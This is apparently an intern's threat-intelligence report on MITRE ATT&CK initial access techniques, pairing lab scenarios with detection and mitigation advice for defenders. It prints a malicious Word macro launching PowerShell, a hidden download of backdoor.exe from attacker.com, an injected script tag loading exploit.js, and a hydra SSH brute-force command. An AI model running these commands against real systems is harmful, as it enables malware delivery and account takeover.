Threat Intelligence – TTP Chain PoC

Name : Prateek

Intern ID : 166

Tactic Chosen: **Initial Access (TA0001)**

MITRE ATT&CK Link: https://attack.mitre.org/tactics/TA0001/

Tactic Description – Initial Access

The *Initial Access* tactic involves techniques adversaries use to gain an entry point into a target network, system, or application. This is the first stage of the attack lifecycle and often determines the overall success of an intrusion campaign.

Techniques used for initial access vary widely in sophistication—from simple password reuse to complex multi-stage phishing or watering hole attacks. Once access is gained, attackers proceed with follow-up actions such as command execution, privilege escalation, lateral movement, or data exfiltration.

Why It Matters:

Detecting and preventing initial access can prevent an entire attack chain from unfolding. It's a critical stage that defenders must understand deeply.

Objective of This Proof of Concept (PoC)

This PoC aims to simulate and document how real-world threat actors achieve **Initial Access** using three high-impact techniques from the MITRE ATT&CK framework. These simulations will provide blue teamers and defenders with visibility into:

- Attack vectors that abuse human trust and poor configurations
- The footprint left behind by initial access attempts
- How to detect, prevent, and mitigate such intrusions in a real-world network

Techniques Selected

Technique ID	Technique Name	MITRE Link
T1566.001	Phishing: Spearphishing Attachment	https://attack.mitre.org/techniques/T1566/001/
T1189	Drive-by Compromise	https://attack.mitre.org/techniques/T1189/
T1078	Valid Accounts	https://attack.mitre.org/techniques/T1078/

These are the most popular entry techniques used by APT groups, ransomware gangs, and financially motivated threat actors.

Technique 1: T1566.001 – Spearphishing Attachment

Description:

This technique involves sending malicious documents or files through email. These attachments are tailored to appear legitimate—such as invoices, resumes, or reports—and often contain **macros, scripts, or embedded exploits**.

Purpose:

Exploit user trust and social engineering to trick them into executing malicious code embedded in a document.

Real-World Usage:

- **APT28 (Fancy Bear):** A state-sponsored group known for using highly sophisticated spearphishing campaigns. They have a history of crafting documents

that mimic reports from organizations like NATO or the World Anti-Doping Agency. The embedded macros would often download and execute their custom malware, such as the X-Agent implant.

- **Emotet/TrickBot:** These notorious malware families frequently employed large-scale, automated spearphishing campaigns with invoice-themed documents. The attached Word files contained obfuscated macros that, once enabled, would download and install the malicious trojan.

PoC Scenario Steps:

1. Attacker creates a macro-enabled Word file: Invoice_Q3.docm
2. The macro executes:

```
Sub AutoOpen()
   Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"
End Sub
```

3. The file is emailed using GoPhish to simulate phishing delivery.
4. Victim opens the document and enables macros.
5. PowerShell silently downloads malware.

Command Example:

```
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest http://attacker.com/backdoor.exe -OutFile backdoor.exe"
```

Detection:

- Monitor Office processes (e.g., winword.exe) spawning PowerShell.
- Check for macro execution telemetry (Sysmon Event ID 11).
- Email gateway sandboxing and attachment analysis.

Mitigation:

- Block macros from internet-sourced documents (Group Policy).
- Train users on phishing indicators.
- Disable Office macros where unnecessary.
- Implement SPF/DKIM/DMARC in email headers.

Technique 2: T1189 – Drive-by Compromise

Description:

Drive-by compromises occur when a user visits a website that has been compromised to deliver malicious payloads automatically. These sites may contain **JavaScript exploits**, **iframes**, or **exploit kits** like RIG or Angler.

Purpose:

Attacker's Purpose: The objective is to achieve a compromise with minimal user interaction and maximum stealth. This technique is often used for "watering hole" attacks, where a threat actor compromises a website frequented by a specific target group.

Real-World Usage:

- **APT37 (Reaper/Scarcruft):** This group has a documented history of compromising South Korean news websites to deliver malware. The attacks targeted specific individuals who would visit these sites, demonstrating a targeted watering hole approach.
- **Exploit Kits (EKs):** EKs like RIG and Angler were notorious for automating this process. They were often hosted on compromised websites or delivered via malicious advertisements ("malvertising"). The EK would profile the victim's browser and plugins to serve the most effective exploit, leading to silent malware delivery.

PoC Scenario Steps:

1. Attacker injects malicious JS:

```
<script src="http://attacker.com/exploit.js"></script>
```

2. Victim visits the blog/news site.
3. JS probes browser for CVE-based vulnerabilities.
4. Payload is delivered and executed silently.

Command Example (Exploit Hosting):

python3 -m http.server 8080

Detection:

- Analyze proxy/DNS logs for new or shady domains.
- Use a secure web gateway with real-time analysis.
- Enable EDR monitoring of unusual browser behavior.

Mitigation:

- Patch browsers and plugins regularly.
- Disable Flash, Java, and untrusted scripts.
- Enforce secure browsing policies.
- Use ad blockers and browser sandboxing.

Technique 3: T1078 – Valid Accounts

Description:

This technique uses **legitimate credentials** obtained via phishing, leaks, brute-force, or credential stuffing. These credentials are then used to access services like SSH, RDP, VPN, or cloud panels.

Purpose:

Maintain stealth by using authentic access paths—often bypassing endpoint defenses.

The use of valid accounts provides a high degree of stealth. The adversary can operate for extended periods, blending in with normal user activity and avoiding the tell-tale signs of an exploitation attempt. This technique is often used to establish a long-term presence and conduct extensive reconnaissance.

Real-World Usage:

- **Lapsus$:** This group gained notoriety for using stolen RDP credentials and compromised VPN access to infiltrate high-profile companies like Okta and Uber, demonstrating how a single valid account can lead to a massive breach.
- **APT10 (Stone Panda):** Known for their "Operation Cloud Hopper," this group targeted Managed Service Providers (MSPs) using stolen credentials to gain access to their clients' networks, allowing them to pivot between multiple organizations.

PoC Scenario Steps:

1. Attacker uses harvested credentials from previous breach.
2. Logs into SSH or RDP: ssh admin@target.com
3. Gains access and performs post-exploitation steps.

Command Example:

hydra -l admin -P passwords.txt ssh://<IP>

Detection:

- Monitor authentication logs for login anomalies.
- Use geolocation-based risk scoring.
- Trigger alerts on first-time access from new devices.

Mitigation:

- Enforce strong password policies.
- Mandate multi-factor authentication (MFA).
- Monitor and audit user access.
- Rotate credentials regularly.

Procedure 1 – Phishing Simulation (Macro Execution Lab)

Setup:

- Windows VM (Office installed)
- Kali VM with GoPhish or SendEmail tool
- Python HTTP server to host payload

Steps:

1. Generate macro payload and embed in Word file.
2. Email to target VM.
3. Enable macro; observe PowerShell execution.
4. Confirm malware downloaded via HTTP logs.

Procedure 2 – SSH Login with Valid Credentials

Setup:

- Target VM (Linux) with SSH server
- Test user with known password
- Kali machine for attacker simulation

Steps:

1. SSH into the server: ssh testuser@192.168.1.15
2. Simulate lateral movement or exfiltration.
3. Observe /var/log/auth.log for successful login traces.

Conclusion – Why This PoC Matters

This project demonstrates the critical value of a threat-informed approach to cybersecurity. By simulating these Initial Access TTPs, we achieve a level of understanding that theoretical knowledge alone cannot provide. The ability to witness the attack chain unfold in a controlled environment allows defenders to:

- **Validate Controls:** Test whether existing security tools (e.g., EDR, SIEM, email gateways) are configured to detect these specific TTPs.
- **Improve Detection Logic:** Create or fine-tune detection rules based on the observed artifacts, such as specific process parent-child relationships or log entries.
- **Enhance Incident Response:** Develop and practice incident response playbooks for each of these scenarios, preparing the team to respond effectively when a real-world incident occurs.
- **Foster Collaboration:** Provide a common language for red and blue teams, allowing them to work together to improve the organization's security posture.

Understanding TTPs at this level is not just an academic exercise; it is an essential component of building a resilient and proactive defense against the most prevalent and sophisticated threats facing organizations today.

Sources

- https://attack.mitre.org/techniques/T1566/001/
- https://attack.mitre.org/techniques/T1189/
- https://attack.mitre.org/techniques/T1078/
- Mandiant Threat Reports
- Microsoft Threat Intelligence
- SecureList by Kaspersky